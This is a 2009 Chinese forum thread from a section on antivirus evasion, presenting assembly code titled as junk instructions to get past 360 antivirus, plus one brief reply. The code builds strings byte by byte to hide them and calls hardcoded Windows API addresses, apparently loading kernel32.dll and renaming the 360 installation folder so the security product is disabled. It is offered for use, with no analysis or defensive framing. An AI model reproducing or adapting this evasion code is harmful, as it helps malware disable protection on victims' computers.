【3.A.S.T】网络安全爱好者 » 免杀技术 » 过360的花指令

匿名 发表于 2009-8-5 21:55

过360的花指令

[code]push ebp
                mov  ebp,esp
                xor  eax,eax
                push eax
                                push eax
                push eax
                push eax
                mov  byte ptr[ebp-10h],6Bh
                mov  byte ptr[ebp-0fh],65h
                mov  byte ptr[ebp-0eh],72h
                mov  byte ptr[ebp-0dh],6Eh
                mov  byte ptr[ebp-0ch],65h
                mov  byte ptr[ebp-0bh],6ch
                mov  byte ptr[ebp-0ah],33h
                mov  byte ptr[ebp-09h],32h
                mov  byte ptr[ebp-08h],2Eh
                mov  byte ptr[ebp-07h],64h
                mov  byte ptr[ebp-06h],6Ch
                mov  byte ptr[ebp-05h],6Ch
                lea  eax, [ebp-10h]
                push eax
                mov  edx,0x7C801D77
                call edx
                        push ebp
                mov  ebp,esp
                xor  edx,edx
                push edx
                                sub  esp,2ch
                mov  byte ptr[ebp-30h],63h
                mov  byte ptr[ebp-2fh],3Ah
                mov  byte ptr[ebp-2eh],5Ch
                mov  byte ptr[ebp-2dh],5Ch
                mov  byte ptr[ebp-2ch],50h
                mov  byte ptr[ebp-2bh],72h
                mov  byte ptr[ebp-2ah],6Fh
                mov  byte ptr[ebp-29h],67h
                mov  byte ptr[ebp-28h],72h
                mov  byte ptr[ebp-27h],61h
                mov  byte ptr[ebp-26h],6Dh
                mov  byte ptr[ebp-25h],20h
                mov  byte ptr[ebp-24h],46h
                mov  byte ptr[ebp-23h],69h
                mov  byte ptr[ebp-22h],6Ch
                mov  byte ptr[ebp-21h],65h
                mov  byte ptr[ebp-20h],73h
                mov  byte ptr[ebp-1fh],5Ch
                mov  byte ptr[ebp-1eh],5Ch
                mov  byte ptr[ebp-1dh],33h
                mov  byte ptr[ebp-1ch],36h
                mov  byte ptr[ebp-1bh],30h
                mov  byte ptr[ebp-1ah],00h
                lea  edi,[ebp-30h]
                mov  byte ptr[ebp-18h],63h
                mov  byte ptr[ebp-17h],3Ah
                mov  byte ptr[ebp-16h],5Ch
                mov  byte ptr[ebp-15h],5Ch
                mov  byte ptr[ebp-14h],50h
                mov  byte ptr[ebp-13h],72h
                mov  byte ptr[ebp-12h],6Fh
                mov  byte ptr[ebp-11h],67h
                mov  byte ptr[ebp-10h],72h
                mov  byte ptr[ebp-0fh],61h
                mov  byte ptr[ebp-0eh],6Dh
                mov  byte ptr[ebp-0dh],20h
                mov  byte ptr[ebp-0ch],46h
                mov  byte ptr[ebp-0bh],69h
                mov  byte ptr[ebp-0ah],6Ch
                mov  byte ptr[ebp-09h],65h
                mov  byte ptr[ebp-08h],73h
                mov  byte ptr[ebp-07h],5Ch
                mov  byte ptr[ebp-06h],5Ch
                mov  byte ptr[ebp-05h],33h
                mov  byte ptr[ebp-04h],36h
                mov  byte ptr[ebp-03h],30h
                mov  byte ptr[ebp-02h],31h
                mov  byte ptr[ebp-01h],00h
                lea  esi,[ebp-18h]
                push esi
                push edi
                mov  eax,0x7c835ed7
                call eax[/code]

lengfei 发表于 2009-8-5 22:13

好长呀！！过360不用花指令也能过吧！！

查看完整版本: 过360的花指令